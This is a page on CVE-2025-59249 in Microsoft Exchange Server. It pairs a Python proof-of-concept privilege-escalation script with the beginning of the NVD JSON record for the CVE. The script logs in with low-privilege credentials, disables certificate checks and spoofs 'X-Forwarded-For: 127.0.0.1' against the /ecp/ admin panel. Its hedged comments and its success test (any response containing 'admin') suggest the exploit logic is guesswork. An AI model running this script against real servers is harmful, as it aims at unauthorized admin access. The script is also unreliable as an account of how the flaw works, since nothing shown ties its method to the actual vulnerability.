CVE-2025-59249

# CVE-2025-59249 - Microsoft Exchange Server Weak Authentication Privilege Escalation PoC # WARNING: This PoC is for educational and authorized testing purposes only. # Unauthorized use of this code against systems you do not own or have explicit # permission to test is illegal and unethical. import requests import base64 import json from urllib.parse import urljoin class ExchangeExploit: """ PoC for CVE-2025-59249: Weak Authentication in Microsoft Exchange Server allowing privilege escalation from low-privileged user to higher privileges. """ def __init__(self, target_url, username, password, domain): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.domain = domain self.session = requests.Session() self.session.verify = False # Suppress SSL warnings import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def authenticate(self): """Step 1: Authenticate with low-privileged credentials""" print(f"[*] Authenticating as low-privileged user: {self.username}") # Exchange EWS endpoint for authentication ews_url = urljoin(self.target_url, '/EWS/Exchange.asmx') # Basic auth header with low-privileged credentials credentials = f"{self.domain}\\{self.username}:{self.password}" encoded_creds = base64.b64encode(credentials.encode()).decode() self.session.headers.update({ 'Authorization': f'Basic {encoded_creds}', 'Content-Type': 'text/xml; charset=utf-8', }) # Verify authentication response = self.session.get(ews_url) if response.status_code == 401: print("[-] Authentication failed. Check credentials.") return False print("[+] Authentication successful with low privileges.") return True def exploit_weak_auth(self): """Step 2: Exploit weak authentication to escalate privileges""" print("[*] Attempting privilege escalation via weak authentication...") # Exploit endpoint - manipulate authentication context # The weak authentication mechanism may allow token manipulation admin_endpoint = urljoin(self.target_url, '/ecp/') # Attempt to access admin panel with escalated context # This exploits the weak authentication check exploit_headers = { 'X-Requested-With': 'XMLHttpRequest', 'X-Ecp-Cookie': self.session.cookies.get('X-Ecp-Cookie', ''), # Attempt to inject elevated privileges via manipulated auth token 'X-Forwarded-For': '127.0.0.1', } response = self.session.get(admin_endpoint, headers=exploit_headers) if response.status_code == 200 and 'admin' in response.text.lower(): print("[+] PRIVILEGE ESCALATION SUCCESSFUL!") print("[+] Admin panel access obtained.") return True else: print("[-] Privilege escalation attempt failed.") return False def run(self): """Execute the full exploit chain""" print("=" * 60) print("CVE-2025-59249 - Exchange Server Privilege Escalation PoC") print("=" * 60) if not self.authenticate(): return False if self.exploit_weak_auth(): print("[+] Exploit completed successfully!") return True return False if __name__ == "__main__": # Configuration - replace with target details TARGET = "https://exchange.target.com" USERNAME = "lowpriv_user" PASSWORD = "password123" DOMAIN = "TARGET" exploit = ExchangeExploit(TARGET, USERNAME, PASSWORD, DOMAIN) exploit.run()

{"cve": {"id": "CVE-2025-59249", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:07.070", "lastModified": "2025-10-28T19:48:04.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weak authentication in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1390"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:exchange_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "15.02.2562.029", "matchCriteriaId": "31BF0944-2B84-40BE-9F46-E7B90B82C8EA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:exchange_server:2016:-:*:*:*:*:*:*", "matchCriteriaId": "8039FBA1-73D4-4FF2-B183-0DCC961CBFF7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_1:*:*:*:*:*:*", "matchCriteriaId": "56728785-188C-470A-9692-E6C7235109CA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_10:*:*:*:*:*:*", "matchCriteriaId": "63E362CB-CF75-4B7E-A4B1-D6D84AFCBB68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_11:*:*:*:*:*:*", "matchCriteriaId": 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